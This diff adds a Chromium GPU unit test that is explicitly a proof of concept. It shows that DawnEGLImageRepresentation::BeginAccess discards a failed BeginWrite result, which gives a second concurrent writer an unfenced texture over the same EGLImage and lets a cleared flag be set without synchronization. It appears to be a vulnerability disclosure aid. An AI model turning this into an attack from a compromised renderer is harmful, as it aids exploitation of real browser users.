diff --git a/gpu/command_buffer/service/shared_image/egl_image_backing_factory_unittest.cc b/gpu/command_buffer/service/shared_image/egl_image_backing_factory_unittest.cc index 1f24b57740495..1e2840161556f 100644 --- a/gpu/command_buffer/service/shared_image/egl_image_backing_factory_unittest.cc +++ b/gpu/command_buffer/service/shared_image/egl_image_backing_factory_unittest.cc @@ -48,7 +48,9 @@ #if BUILDFLAG(USE_DAWN) && BUILDFLAG(DAWN_ENABLE_BACKEND_OPENGLES) #include #include +#include #include +#include "ui/gl/gl_implementation.h" #endif // BUILDFLAG(USE_DAWN) && BUILDFLAG(DAWN_ENABLE_BACKEND_OPENGLES) using testing::AtLeast; @@ -638,6 +640,163 @@ return textureSample(tex, smp, tex_coord); dawnProcSetProcs(nullptr); } + +// POC: DawnEGLImageRepresentation::BeginAccess discards the bool return of +// gl_representation_->BeginAccess(). This allows a second writer to obtain a +// valid wgpu::Texture wrapping the same EGLImage while the backing's +// BeginWrite() has rejected the access (is_writing_ already true). The second +// writer's GL commands are never fenced (EndAccess is a no-op because mode_ +// stayed kNone), and SetCleared() can be propagated from Dawn's CPU-side +// texture state without any GPU fence covering the actual clear. +// +// This test models the GPU-process side of two AssociateMailboxImmediate calls +// from a compromised renderer with the same mailbox but different texture IDs. +TEST_P(EGLImageBackingFactoryThreadSafeTest, Dawn_ConcurrentWriteUnchecked) { + // SetUp() left |context2_| current; switch to |context_state_| for backing + // creation so created_on_context_ matches. + ASSERT_TRUE(context_state_->MakeCurrent(surface_.get(), /*needs_gl=*/true)); + + // Create an uninitialized backing (IsCleared() == false). + const auto mailbox = Mailbox::Generate(); + const auto format = viz::SinglePlaneFormat::kRGBA_8888; + const gfx::Size size(1, 1); + const auto color_space = gfx::ColorSpace::CreateSRGB(); + const gpu::SharedImageUsageSet usage = SHARED_IMAGE_USAGE_WEBGPU_WRITE | + SHARED_IMAGE_USAGE_WEBGPU_READ | + SHARED_IMAGE_USAGE_DISPLAY_READ; + auto backing = backing_factory_->CreateSharedImage( + mailbox, format, gpu::kNullSurfaceHandle, size, color_space, + kTopLeft_GrSurfaceOrigin, kPremul_SkAlphaType, usage, "POC", + /*is_thread_safe=*/true); + ASSERT_NE(backing, nullptr); + ASSERT_FALSE(backing->IsCleared()); + SharedImageBacking* backing_raw = backing.get(); + + std::unique_ptr factory_ref = + shared_image_manager_->Register(std::move(backing), + memory_type_tracker_.get()); + + // Set up a Dawn OpenGLES device, mirroring the WebGPU-on-GLES backend used + // on Android devices without Vulkan / SharedFenceSyncFD. Chain + // RequestAdapterOptionsGetGLProc so Dawn shares Chromium's EGL display + // (matches WebGPUDecoderImpl::DiscoverAdapters). + DawnProcTable procs = dawn::native::GetProcs(); + dawnProcSetProcs(&procs); + dawn::native::Instance instance; + wgpu::RequestAdapterOptions adapter_options; + adapter_options.backendType = wgpu::BackendType::OpenGLES; + adapter_options.featureLevel = wgpu::FeatureLevel::Compatibility; + dawn::native::opengl::RequestAdapterOptionsGetGLProc get_gl_proc = {}; + get_gl_proc.getProc = gl::GetGLProcAddress; + gl::GLDisplayEGL* gl_display = gl::GLSurfaceEGL::GetGLDisplayEGL(); + ASSERT_TRUE(gl_display); + get_gl_proc.display = gl_display->GetDisplay(); + adapter_options.nextInChain = &get_gl_proc; + std::vector adapters = + instance.EnumerateAdapters(&adapter_options); + ASSERT_GT(adapters.size(), 0u); + + wgpu::FeatureName dawn_internal_usage = wgpu::FeatureName::DawnInternalUsages; + wgpu::DeviceDescriptor device_descriptor; + device_descriptor.requiredFeatureCount = 1; + device_descriptor.requiredFeatures = &dawn_internal_usage; + wgpu::Device device = + wgpu::Device::Acquire(adapters[0].CreateDevice(&device_descriptor)); + + // Restore our context: ProduceDawn -> ProduceGLTexturePassthrough creates + // the source GL texture and EGLImage on it. + ASSERT_TRUE(context_state_->MakeCurrent(surface_.get(), /*needs_gl=*/true)); + + // FIRST WRITER: AssociateMailboxImmediate(id=1, mailbox=M, RenderAttachment). + auto dawn_rep1 = shared_image_representation_factory_->ProduceDawn( + mailbox, device, wgpu::BackendType::OpenGLES, {}, context_state_); + ASSERT_TRUE(dawn_rep1); + auto access1 = dawn_rep1->BeginScopedAccess( + wgpu::TextureUsage::RenderAttachment, + SharedImageRepresentation::AllowUnclearedAccess::kYes); + ASSERT_TRUE(access1); + ASSERT_TRUE(access1->texture()); + // EGLImageBacking::is_writing_ is now true. Dawn's context is current after + // WrapExternalEGLImage; restore ours for the next ProduceDawn. + ASSERT_TRUE(context_state_->MakeCurrent(surface_.get(), /*needs_gl=*/true)); + + // SECOND WRITER on the SAME backing while the first writer is active. + // EGLImageBacking::BeginWrite() returns false here (is_writing_ == true) and + // emits "BeginWrite should only be called when there are no other readers or + // writers". DawnEGLImageRepresentation::BeginAccess discards that result and + // proceeds to WrapExternalEGLImage anyway. + auto dawn_rep2 = shared_image_representation_factory_->ProduceDawn( + mailbox, device, wgpu::BackendType::OpenGLES, {}, context_state_); + ASSERT_TRUE(dawn_rep2); + auto access2 = dawn_rep2->BeginScopedAccess( + wgpu::TextureUsage::RenderAttachment, + SharedImageRepresentation::AllowUnclearedAccess::kYes); + + // *** VULNERABILITY *** + // A correct implementation would return nullptr here because the backing + // rejected the write. Instead we get a valid ScopedAccess wrapping a live + // wgpu::Texture over the same EGLImage, with NO fence wait against the first + // writer's stream and NO fence emitted on EndAccess (mode_ stayed kNone in + // the underlying GLRepresentationShared). + ASSERT_TRUE(access2) + << "If the discarded-return bug is fixed, BeginScopedAccess should " + "fail when the backing already has a writer."; + ASSERT_TRUE(access2->texture()); + fprintf(stderr, + "[POC] Second concurrent Dawn write access granted: texture=%p " + "(backing rejected BeginWrite but ScopedAccess succeeded)\n", + access2->texture().Get()); + + // Render via the SECOND writer. Dawn's CPU-side state marks the subresource + // as initialized; the GPU-side commands target the shared EGLImage with no + // synchronization against any other accessor. + { + wgpu::Texture texture(access2->texture()); + wgpu::RenderPassColorAttachment color_desc; + color_desc.view = texture.CreateView(); + color_desc.resolveTarget = nullptr; + color_desc.loadOp = wgpu::LoadOp::Clear; + color_desc.storeOp = wgpu::StoreOp::Store; + color_desc.clearValue = {0, 1, 0, 1}; + wgpu::RenderPassDescriptor renderPassDesc = {}; + renderPassDesc.colorAttachmentCount = 1; + renderPassDesc.colorAttachments = &color_desc; + wgpu::CommandEncoder encoder = device.CreateCommandEncoder(); + wgpu::RenderPassEncoder pass = encoder.BeginRenderPass(&renderPassDesc); + pass.End(); + wgpu::CommandBuffer commands = encoder.Finish(); + device.GetQueue().Submit(1, &commands); + } + + // End the second access. Because gl_representation_->BeginAccess() returned + // false, GLRepresentationShared::mode_ is still kNone, so its EndAccess() + // is a NO-OP: EGLImageBacking::EndWrite() never runs and no write_fence_ is + // created for Dawn's GL commands. However Dawn's CPU-side + // IsTextureSubresourceInitialized() is true, so SetCleared() IS called. + access2.reset(); + + // *** SETCLEARED DESYNC *** + // The backing is now marked cleared based purely on Dawn's CPU-side state, + // with no GPU fence covering the clear. A subsequent reader passes the + // IsCleared() gate and waits only on a stale write_fence_ (if any). + EXPECT_TRUE(backing_raw->IsCleared()) + << "SetCleared was propagated from the unsynchronized second writer."; + fprintf(stderr, + "[POC] backing->IsCleared() == %d after EndAccess of unfenced " + "writer (no write_fence_ covers Dawn's clear)\n", + backing_raw->IsCleared()); + + // Cleanup. Restore our context for EGLImageBacking::EndWrite() -> + // GLFenceEGL::Create() inside access1's EndAccess. + ASSERT_TRUE(context_state_->MakeCurrent(surface_.get(), /*needs_gl=*/true)); + access1.reset(); + dawn_rep2.reset(); + dawn_rep1.reset(); + device = wgpu::Device(); + dawnProcSetProcs(nullptr); + ASSERT_TRUE(context_state_->MakeCurrent(surface_.get(), /*needs_gl=*/true)); + factory_ref.reset(); +} #endif // BUILDFLAG(USE_DAWN) && BUILDFLAG(DAWN_ENABLE_BACKEND_OPENGLES) CreateAndValidateSharedImageRepresentations::